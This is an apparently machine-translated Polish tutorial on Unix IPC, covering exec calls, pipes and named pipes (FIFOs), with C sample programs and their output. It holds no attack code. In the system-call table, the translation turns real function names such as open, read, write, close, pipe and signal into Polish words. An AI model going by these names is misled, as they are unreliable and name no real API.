Poniżej znajduje się program helloworld.c wywołany z procesu potomnego programu, execl_run_two_prgms.c.
/ * Nazwa pliku: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
Poniżej znajduje się program while_loop.c wywołany z procesu nadrzędnego programu, execl_run_two_prgms.c. Argument do tego programu jest przekazywany z programu, który go uruchamia, tj. Execl_run_two_prgms.c.
/ * Nazwa pliku: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Kroki kompilacji i wykonywania
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Zobaczmy teraz nakładające się funkcje biblioteki związane z obrazami.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Ta funkcja nałożyłaby aktualnie działający obraz procesu na nowy proces, jak wspomniano w argumentach, path i arg. Jeśli jakikolwiek argument musi zostać przekazany do nowego obrazu procesu, zostanie on przesłany przez argumenty „arg”, a ostatni argument powinien mieć wartość NULL.
Ta funkcja zwróci wartość tylko w przypadku błędu. Proces nakładania wywołań związanych z obrazem jest taki, jak wspomniano poniżej -
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Te wywołania dotyczyłyby przekazywanych argumentów wiersza poleceń (argv []), zmiennych środowiskowych (envp []) i innych parametrów.
Poniższa tabela zawiera listę różnych wywołań systemowych wraz z ich opisem.
Kategoria | Wywołanie systemowe | Opis |
---|---|---|
Generał | otwarty () | To wywołanie systemowe otwiera już istniejący plik lub tworzy i otwiera nowy plik. |
Generał | creat () | Tworzy i otwiera nowy plik. |
Generał | czytaj () | Wczytuje zawartość pliku do wymaganego bufora. |
Generał | pisać () | Zapisuje zawartość bufora do pliku. |
Generał | blisko () | Zamyka deskryptor pliku. |
Generał | stat () | Zawiera informacje o pliku. |
Rury | rura () | Tworzy potok do komunikacji, który zwraca dwa deskryptory plików do odczytu i zapisu. |
Nazwane rury lub Fifo | mknod () | Tworzy plik urządzenia pamięci lub specjalny plik do tworzenia FIFO |
Nazwane rury lub Fifo | mkfifo () | Tworzy nowe FIFO |
Pamięć współdzielona | shmget () | Tworzy nowy segment pamięci współdzielonej lub pobiera identyfikator istniejącego segmentu. |
Pamięć współdzielona | shmat () | Dołącza segment pamięci współdzielonej i czyni ten segment częścią pamięci wirtualnej procesu wywołującego. |
Pamięć współdzielona | shmdt () | Odłącza segment pamięci współdzielonej. |
Pamięć współdzielona | shmctl () | Wykonuje operacje kontrolne dla pamięci współdzielonej. Niewiele z ogólnych operacji sterujących dla pamięci współdzielonej usuwa segment pamięci współdzielonej (IPC_RMID), odbiera informacje o pamięci współdzielonej (IPC_STAT) i aktualizuje nowe wartości istniejącej pamięci współdzielonej (IPC_SET). |
Kolejki wiadomości | msgget () | Tworzy nową kolejkę komunikatów lub uzyskuje dostęp do już istniejącej kolejki komunikatów i pobiera uchwyt lub identyfikator do wykonywania operacji w odniesieniu do kolejki komunikatów, takich jak wysyłanie wiadomości do kolejki i odbieranie wiadomości z kolejki. |
Kolejki wiadomości | msgsnd () | Wysyła wiadomość do wymaganej kolejki komunikatów z wymaganym numerem identyfikacyjnym. |
Kolejki wiadomości | msgrcv () | Odbiera wiadomość z kolejki komunikatów. Domyślnie jest to nieskończona operacja oczekiwania, co oznacza, że połączenie będzie blokowane do momentu otrzymania wiadomości. |
Kolejki wiadomości | msgctl () | Wykonuje operacje sterujące dla kolejki komunikatów. Niewiele z ogólnych operacji sterujących dla kolejki komunikatów usuwa kolejkę komunikatów (IPC_RMID), odbiera informacje z kolejki komunikatów (IPC_STAT) i aktualizuje nowe wartości istniejącej kolejki komunikatów (IPC_SET). |
Semafory | semget () | Tworzy nowy semafor lub pobiera identyfikator istniejącego semafora. Semafory służą do synchronizacji między różnymi IPC pracującymi na tym samym obiekcie. |
Semafory | semop () | Wykonuje operacje semaforów na wartościach semaforów. Podstawowe operacje semafora to uzyskanie lub zwolnienie blokady semafora. |
Semafory | semctl () | Wykonuje operacje sterujące dla semafora. Niewiele z ogólnych operacji sterujących dla semafora usuwa semafor (IPC_RMID), odbiera informacje o semaforze (IPC_STAT) i aktualizuje nowe wartości istniejącego semafora (IPC_SET). |
Sygnały | sygnał () | Ustawianie dyspozycji sygnału (numer sygnału) i obsługi sygnału. Innymi słowy, rejestrowanie procedury, która jest wykonywana po podniesieniu tego sygnału. |
Sygnały | sigaction () | To samo, co signal (), ustawiając dyspozycję sygnału, tj. Wykonując określoną akcję zgodnie z zarejestrowanym programem obsługi sygnału po odebraniu zarejestrowanego sygnału. To wywołanie systemowe obsługuje dokładniejszą kontrolę nad funkcją signal (), taką jak blokowanie pewnych sygnałów, przywracanie akcji sygnałowej do stanu domyślnego po wywołaniu programu obsługi sygnału, dostarczanie informacji, takich jak zużyty czas użytkownika i systemu, identyfikator procesu wysyłania itp. |
Mapowanie pamięci | mmap () | Mapowanie plików do pamięci. Po zmapowaniu do pamięci dostęp do plików jest tak łatwy, jak dostęp do danych przy użyciu adresów, a także w ten sposób połączenie nie jest kosztowne, jak wywołania systemowe. |
Mapowanie pamięci | munmap () | Usuwanie mapowania zmapowanych plików z pamięci. |
Poniższa tabela przedstawia różnice między IPC System V i POSIX IPC.
SYSTEM V | POSIX |
---|---|
AT&T wprowadziło (1983) trzy nowe formy udogodnień IPC, mianowicie kolejki wiadomości, pamięć współdzieloną i semafory. | Standardy Portable Operating System Interface określone przez IEEE w celu zdefiniowania interfejsu programowania aplikacji (API). POSIX obejmuje wszystkie trzy formy IPC |
SYSTEM V IPC obejmuje wszystkie mechanizmy IPC, a mianowicie potoki, potoki nazwane, kolejki wiadomości, sygnały, semafory i pamięć współdzieloną. Obejmuje również gniazda i gniazda domeny Unix. | Prawie wszystkie podstawowe pojęcia są takie same, jak w Systemie V. Różni się tylko interfejsem |
Wywołania interfejsu pamięci współdzielonej shmget (), shmat (), shmdt (), shmctl () | Wywołania interfejsu pamięci współdzielonej shm_open (), mmap (), shm_unlink () |
Interfejs kolejki wiadomości wywołuje msgget (), msgsnd (), msgrcv (), msgctl () | Wywołania interfejsu kolejki wiadomości mq_open (), mq_send (), mq_receive (), mq_unlink () |
Wywołania interfejsu semafora semget (), semop (), semctl () | Wywołania interfejsu semafora Semafory nazwane sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Semafory bez nazwy lub oparte na pamięci sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
Używa kluczy i identyfikatorów do identyfikacji obiektów IPC. | Używa nazw i deskryptorów plików do identyfikacji obiektów IPC |
NA | Kolejki wiadomości POSIX można monitorować za pomocą funkcji API select (), poll () i epoll |
Oferuje wywołanie msgctl () | Udostępnia funkcje (mq_getattr () i mq_setattr ()) do uzyskiwania dostępu lub ustawiania atrybutów 11. IPC - System V i POSIX |
NA | Bezpieczny dla wielu wątków. Obejmuje funkcje synchronizacji wątków, takie jak blokady mutex, zmienne warunkowe, blokady odczytu i zapisu itp. |
NA | Oferuje kilka funkcji powiadamiania o kolejkach wiadomości (takich jak mq_notify ()) |
Wymaga wywołań systemowych, takich jak shmctl (), polecenia (ipcs, ipcrm) do wykonywania operacji stanu / sterowania. | Obiekty pamięci współdzielonej można badać i manipulować nimi za pomocą wywołań systemowych, takich jak fstat (), fchmod () |
Rozmiar segmentu pamięci współdzielonej Systemu V jest ustalany w momencie tworzenia (poprzez shmget ()) | Możemy użyć ftruncate (), aby dostosować rozmiar podstawowego obiektu, a następnie odtworzyć mapowanie za pomocą munmap () i mmap () (lub specyficznej dla Linuksa mremap ()) |
Potok to medium komunikacyjne między dwoma lub większą liczbą powiązanych lub wzajemnie powiązanych procesów. Może to być w ramach jednego procesu lub komunikacji między dzieckiem a procesem nadrzędnym. Komunikacja może być również wielopoziomowa, np. Komunikacja między rodzicem, dzieckiem i wnukiem, itp. Komunikację uzyskuje się za pomocą jednego procesu wpisywania do potoku i innego odczytu z potoku. Aby wykonać wywołanie systemu potoków, utwórz dwa pliki, jeden do zapisu do pliku, a drugi do odczytu z pliku.
Mechanizm rurowy można oglądać w czasie rzeczywistym, na przykład wlewając wodę rurą do jakiegoś pojemnika, powiedzmy do wiadra, i ktoś ją odzyskuje, powiedzmy za pomocą kubka. Proces napełniania to nic innego jak zapisywanie w potoku, a proces odczytu to nic innego jak pobieranie z potoku. Oznacza to, że jedno wyjście (woda) jest wkładem dla drugiego (wiadro).
#include<unistd.h>
int pipe(int pipedes[2]);
To wywołanie systemowe utworzy potok do komunikacji jednokierunkowej, tj. Tworzy dwa deskryptory, pierwszy jest podłączony do odczytu z potoku, a drugi do zapisu w potoku.
Descriptor pipedes [0] służy do czytania, a pipedes [1] do pisania. Cokolwiek jest zapisane w potokach [1], można odczytać z potoków [0].
To wywołanie zwróci zero w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Mimo że podstawowe operacje na pliku to odczyt i zapis, ważne jest, aby otworzyć plik przed wykonaniem operacji i zamknąć plik po zakończeniu wymaganych operacji. Zwykle domyślnie dla każdego procesu otwierane są 3 deskryptory, które są używane jako dane wejściowe (standardowe wejście - stdin), wyjście (standardowe wyjście - stdout) i błąd (standardowe wyjście - stderr) mające deskryptory plików odpowiednio 0, 1 i 2.
To wywołanie systemowe zwróci deskryptor pliku używany do dalszych operacji na plikach odczytu / zapisu / wyszukiwania (lseek). Zazwyczaj deskryptory plików zaczynają się od 3 i zwiększają się o jedną liczbę wraz z liczbą otwieranych plików.
Argumenty przekazywane do wywołania systemowego open to ścieżka (ścieżka względna lub bezwzględna), flagi wskazujące na cel otwarcia pliku (powiedzmy, otwarcie do odczytu, O_RDONLY, do zapisu, O_WRONLY, do odczytu i zapisu, O_RDWR, do dołączenia do istniejącego pliku O_APPEND, aby utworzyć plik, jeśli nie istnieje z O_CREAT i tak dalej) oraz wymagany tryb zapewniający uprawnienia odczytu / zapisu / wykonania dla użytkownika lub właściciela / grupy / innych. Tryb można wspomnieć za pomocą symboli.
Odczyt - 4, zapis - 2 i wykonanie - 1.
Na przykład: wartość ósemkowa (zaczyna się od 0), 0764 oznacza, że właściciel ma uprawnienia do odczytu, zapisu i wykonywania, grupa ma uprawnienia do odczytu i zapisu, a druga ma uprawnienia do odczytu. Można to również przedstawić jako S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, co implikuje operację 0700 | 0040 | 0020 | 0004 → 0764.
To wywołanie systemowe, po pomyślnym zakończeniu, zwraca nowy identyfikator deskryptora pliku i -1 w przypadku błędu. Przyczynę błędu można zidentyfikować za pomocą zmiennej errno lub funkcji perror ().
#include<unistd.h>
int close(int fd)
Powyższe wywołanie systemowe zamykające już otwarty deskryptor pliku. Oznacza to, że plik nie jest już używany, a skojarzone z nim zasoby można ponownie wykorzystać w dowolnym innym procesie. To wywołanie systemowe zwraca zero w przypadku sukcesu i -1 w przypadku błędu. Przyczynę błędu można zidentyfikować za pomocą zmiennej errno lub funkcji perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
Powyższe wywołanie systemowe ma na celu odczytanie z podanego pliku argumentów deskryptora pliku fd, odpowiedniego bufora z przydzieloną pamięcią (statyczną lub dynamiczną) i wielkości bufora.
Identyfikator deskryptora pliku służy do identyfikacji odpowiedniego pliku, który jest zwracany po wywołaniu funkcji systemowej open () lub pipe (). Plik należy otworzyć przed odczytem z pliku. Otwiera się automatycznie w przypadku wywołania funkcji systemowej pipe ().
To wywołanie zwróci liczbę odczytanych bajtów (lub zero w przypadku napotkania końca pliku) po pomyślnym zakończeniu i -1 w przypadku niepowodzenia. Zwracane bajty mogą być mniejsze niż liczba żądanych bajtów, na wypadek gdyby żadne dane nie były dostępne lub plik został zamknięty. W przypadku awarii ustawiany jest prawidłowy numer błędu.
Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
Powyższe wywołanie systemowe polega na zapisaniu do podanego pliku argumentów deskryptora pliku fd, odpowiedniego bufora z przydzieloną pamięcią (statyczną lub dynamiczną) i wielkości bufora.
Identyfikator deskryptora pliku służy do identyfikacji odpowiedniego pliku, który jest zwracany po wywołaniu funkcji systemowej open () lub pipe ().
Plik należy otworzyć przed zapisaniem do pliku. Otwiera się automatycznie w przypadku wywołania funkcji systemowej pipe ().
To wywołanie zwróci liczbę zapisanych bajtów (lub zero w przypadku, gdy nic nie zostanie zapisane) po pomyślnym zakończeniu i -1 w przypadku niepowodzenia. W przypadku awarii ustawiany jest prawidłowy numer błędu.
Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Przykładowe programy
Oto kilka przykładowych programów.
Example program 1 - Program do pisania i czytania dwóch wiadomości za pomocą potoku.
Algorytm
Step 1 - Stwórz rurę.
Step 2 - Wyślij wiadomość do rury.
Step 3 - Pobierz wiadomość z potoku i zapisz ją na standardowe wyjście.
Step 4 - Wyślij kolejną wiadomość do rury.
Step 5 - Pobierz wiadomość z potoku i zapisz ją na standardowe wyjście.
Note - Pobieranie wiadomości można również wykonać po wysłaniu wszystkich wiadomości.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- W idealnym przypadku status zwrotu należy sprawdzać przy każdym wywołaniu systemowym. Aby uprościć proces, kontrole nie są wykonywane dla wszystkich połączeń.
Kroki wykonania
Kompilacja
gcc -o simplepipe simplepipe.c
Wykonanie / wyjście
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Program do pisania i odczytywania dwóch wiadomości przez potok przy użyciu procesu rodzica i procesu potomnego.
Algorytm
Step 1 - Stwórz rurę.
Step 2 - Utwórz proces potomny.
Step 3 - Proces nadrzędny zapisuje w potoku.
Step 4 - Proces potomny pobiera komunikat z potoku i zapisuje go na standardowe wyjście.
Step 5 - Powtórz krok 3 i krok 4 jeszcze raz.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Kroki wykonania
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Dwukierunkowa komunikacja za pomocą potoków
Komunikacja potokowa jest postrzegana jako komunikacja jednokierunkowa, tj. Albo zapisuje proces nadrzędny, a proces potomny, lub odwrotnie, ale nie oba. A co jeśli rodzic i dziecko muszą jednocześnie pisać i czytać z potoków, rozwiązaniem jest dwukierunkowa komunikacja za pomocą potoków. Do nawiązania komunikacji dwukierunkowej potrzebne są dwie rury.
Oto kroki prowadzące do dwukierunkowej komunikacji -
Step 1- Utwórz dwie rury. Pierwsza dotyczy pisania przez rodzica i czytania przez dziecko, powiedzmy jako potok1. Drugi jest przeznaczony dla dziecka do pisania, a rodzica do czytania, powiedzmy jako potok2.
Step 2 - Utwórz proces potomny.
Step 3 - Zamknij niechciane końce, ponieważ dla każdej komunikacji potrzebny jest tylko jeden koniec.
Step 4 - Zamknij niechciane końce procesu macierzystego, przeczytaj koniec potoku1 i zapisz koniec potoku2.
Step 5 - Zamknij niechciane końce procesu potomnego, zapisz koniec potoku1 i przeczytaj koniec potoku2.
Step 6 - Przeprowadź komunikację zgodnie z wymaganiami.
Przykładowe programy
Sample program 1 - Osiągnięcie dwukierunkowej komunikacji za pomocą rur.
Algorytm
Step 1 - Utwórz potok1 dla procesu nadrzędnego do zapisu i dla procesu potomnego do odczytu.
Step 2 - Utwórz potok2 dla procesu potomnego do zapisu i dla procesu nadrzędnego do odczytu.
Step 3 - Zamknij niechciane końce rury od strony rodzica i dziecka.
Step 4 - Proces nadrzędny polegający na napisaniu wiadomości i proces potomny do odczytania i wyświetlenia na ekranie.
Step 5 - Proces podrzędny polegający na napisaniu wiadomości i proces nadrzędny do odczytania i wyświetlenia na ekranie.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Kroki wykonania
Kompilacja
gcc twowayspipe.c –o twowayspipe
Wykonanie
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Rury były przeznaczone do komunikacji między powiązanymi procesami. Czy możemy użyć potoków do niepowiązanej komunikacji procesowej, powiedzmy, chcemy wykonać program klienta z jednego terminala, a program serwera z innego terminala? Odpowiedź brzmi: nie. Zatem jak możemy osiągnąć komunikację z niepowiązanymi procesami, prostą odpowiedzią są potoki nazwane. Mimo że działa to w przypadku powiązanych procesów, nie ma sensu używać nazwanych potoków do komunikacji związanej z procesami.
Użyliśmy jednej rury do komunikacji jednokierunkowej i dwóch rur do komunikacji dwukierunkowej. Czy ten sam warunek dotyczy nazwanych rur. Odpowiedź brzmi: nie, możemy użyć pojedynczego nazwanego potoku, który może być używany do komunikacji dwukierunkowej (komunikacja między serwerem a klientem, a także klient i serwer w tym samym czasie), ponieważ Named Pipe obsługuje komunikację dwukierunkową.
Inna nazwa potoku nazwanego to FIFO (First-In-First-Out). Przyjrzyjmy się wywołaniu systemowemu (mknod ()), aby utworzyć nazwany potok, który jest rodzajem specjalnego pliku.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
To wywołanie systemowe utworzy specjalny plik lub węzeł systemu plików, taki jak zwykły plik, plik urządzenia lub FIFO. Argumentami wywołania systemowego są ścieżka, tryb i dev. Nazwa ścieżki wraz z atrybutami informacji o trybie i urządzeniu. Ścieżka jest względna, jeśli katalog nie zostanie określony, zostanie utworzony w bieżącym katalogu. Określony tryb to tryb pliku, który określa typ pliku, taki jak typ pliku i tryb pliku, jak wspomniano w poniższych tabelach. Pole dev służy do określenia informacji o urządzeniu, takich jak główne i poboczne numery urządzeń.
Typ pliku | Opis | Typ pliku | Opis |
---|---|---|---|
S_IFBLK | blok specjalny | S_IFREG | Zwykły plik |
S_IFCHR | znak specjalny | S_IFDIR | Informator |
S_IFIFO | FIFO special | S_IFLNK | Symboliczne łącze |
Tryb pliku | Opis | Tryb pliku | Opis |
---|---|---|---|
S_IRWXU | Czytaj, pisz, wykonuj / szukaj według właściciela | S_IWGRP | Napisz pozwolenie, grupa |
S_IRUSR | Czytaj pozwolenie, właściciel | S_IXGRP | Uprawnienia do wykonywania / wyszukiwania, grupa |
S_IWUSR | Napisz pozwolenie, właścicielu | S_IRWXO | Czytaj, pisz, wykonuj / wyszukuj przez innych |
S_IXUSR | Uprawnienia do wykonywania / wyszukiwania, właściciel | S_IROTH | Czytaj pozwolenie, inni |
S_IRWXG | Czytaj, pisz, wykonuj / szukaj według grup | S_IWOTH | Napisz pozwolenie, inni |
S_IRGRP | Pozwolenie na odczyt, grupa | S_IXOTH | Uprawnienia do wykonywania / wyszukiwania, inne |
Tryb pliku można również przedstawić w notacji ósemkowej, takiej jak 0XYZ, gdzie X reprezentuje właściciela, Y reprezentuje grupę, a Z reprezentuje innych. Wartość X, Y lub Z może wynosić od 0 do 7. Wartości do odczytu, zapisu i wykonania to odpowiednio 4, 2, 1. W razie potrzeby w połączeniu z odczytem, zapisem i wykonaniem, należy odpowiednio dodać wartości.
Powiedzmy, że jeśli wspomnimy, 0640, to oznacza to odczyt i zapis (4 + 2 = 6) dla właściciela, odczyt (4) dla grupy i brak uprawnień (0) dla innych.
To wywołanie zwróci zero w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Ta funkcja biblioteczna tworzy specjalny plik FIFO, który jest używany dla nazwanego potoku. Argumentami tej funkcji są nazwa pliku i tryb. Nazwa pliku może być ścieżką bezwzględną lub ścieżką względną. Jeśli pełna nazwa ścieżki (lub ścieżka bezwzględna) nie zostanie podana, plik zostanie utworzony w bieżącym folderze wykonywanego procesu. Informacje o trybie plików są takie, jak opisano w wywołaniu systemowym mknod ().
To wywołanie zwróci zero w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Rozważmy program uruchamiający serwer na jednym terminalu i uruchamiający klienta na innym terminalu. Program wykonywałby tylko jednokierunkową komunikację. Klient akceptuje dane wejściowe użytkownika i wysyła wiadomość do serwera, a serwer drukuje wiadomość na wyjściu. Proces jest kontynuowany do momentu wpisania przez użytkownika ciągu „koniec”.
Zrozummy to na przykładzie -
Step 1 - Utwórz dwa procesy, jeden to fifoserver, a drugi to fifoclient.
Step 2 - Proces serwera wykonuje następujące czynności -
Tworzy nazwany potok (za pomocą funkcji systemowej mknod ()) o nazwie „MYFIFO”, jeśli nie został utworzony.
Otwiera nazwany potok tylko do odczytu.
Tutaj utworzono FIFO z uprawnieniami odczytu i zapisu dla właściciela. Odczyt dla grupy i brak uprawnień dla innych.
Oczekuje w nieskończoność na wiadomość od Klienta.
Jeśli wiadomość otrzymana od klienta nie „koniec”, drukuje wiadomość. Jeśli komunikat brzmi „end”, zamyka kolejkę i kończy proces.
Step 3 - Proces klienta wykonuje następujące czynności -
Otwiera nazwany potok tylko do zapisu.
Akceptuje ciąg od użytkownika.
Sprawdza, czy użytkownik wpisuje „koniec” czy inny niż „koniec”. Tak czy inaczej, wysyła wiadomość do serwera. Jeśli jednak ciąg to „koniec”, zamyka to FIFO i kończy proces.
Powtarza się w nieskończoność, aż użytkownik wpisze ciąg „end”.
Przyjrzyjmy się teraz plikowi serwera FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Kroki kompilacji i wykonywania
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Przyjrzyjmy się teraz przykładowemu kodowi klienta FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Spójrzmy na otrzymane wyjście.
Kroki kompilacji i wykonywania
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Dwukierunkowa komunikacja przy użyciu nazwanych potoków
Komunikacja między rurami ma być jednokierunkowa. Rury były ogólnie ograniczone do komunikacji jednokierunkowej i wymagały co najmniej dwóch rur do komunikacji dwukierunkowej. Rury są przeznaczone tylko do powiązanych ze sobą procesów. Potoki nie mogą być używane do komunikacji z niepowiązanymi procesami, powiedzmy, jeśli chcemy wykonać jeden proces z jednego terminala, a inny proces z innego terminala, nie jest to możliwe w przypadku potoków. Czy mamy jakiś prosty sposób komunikowania się między dwoma procesami, powiedzmy niepowiązanymi procesami w prosty sposób? Odpowiedź brzmi tak. Nazwany potok jest przeznaczony do komunikacji między dwoma lub więcej niepowiązanymi procesami i może również mieć komunikację dwukierunkową.
Już widzieliśmy jednokierunkową komunikację między nazwanymi potokami, tj. Wiadomościami od klienta do serwera. Przyjrzyjmy się teraz komunikacji dwukierunkowej, tj. Klientowi wysyłającemu wiadomość do serwera i serwerowi odbierającemu wiadomość i wysyłając kolejną wiadomość do klienta za pomocą tego samego nazwanego potoku.
Oto przykład -
Step 1 - Utwórz dwa procesy, jeden to fifoserver_twoway, a drugi to fifoclient_twoway.
Step 2 - Proces serwera wykonuje następujące czynności -
Tworzy nazwany potok (za pomocą funkcji biblioteki mkfifo ()) o nazwie „fifo_twoway” w katalogu / tmp, jeśli nie został utworzony.
Otwiera nazwany potok do celów odczytu i zapisu.
Tutaj utworzono FIFO z uprawnieniami odczytu i zapisu dla właściciela. Odczyt dla grupy i brak uprawnień dla innych.
Oczekuje nieskończenie na wiadomość od klienta.
Jeśli komunikat otrzymany od klienta nie jest „koniec”, wyświetla komunikat i odwraca ciąg. Odwrócony ciąg jest odsyłany do klienta. Jeśli komunikat brzmi „end”, zamyka kolejkę i kończy proces.
Step 3 - Proces klienta wykonuje następujące czynności -
Otwiera nazwany potok do celów odczytu i zapisu.
Akceptuje ciąg znaków od użytkownika.
Sprawdza, czy użytkownik wpisuje „koniec” czy inny niż „koniec”. Tak czy inaczej, wysyła wiadomość do serwera. Jeśli jednak ciąg to „koniec”, zamyka to FIFO i kończy proces.
Jeśli wiadomość nie została wysłana jako „koniec”, oczekuje na wiadomość (odwrócony łańcuch) od klienta i wypisuje odwrócony ciąg.
Powtarza się w nieskończoność, aż użytkownik wprowadzi ciąg „koniec”.
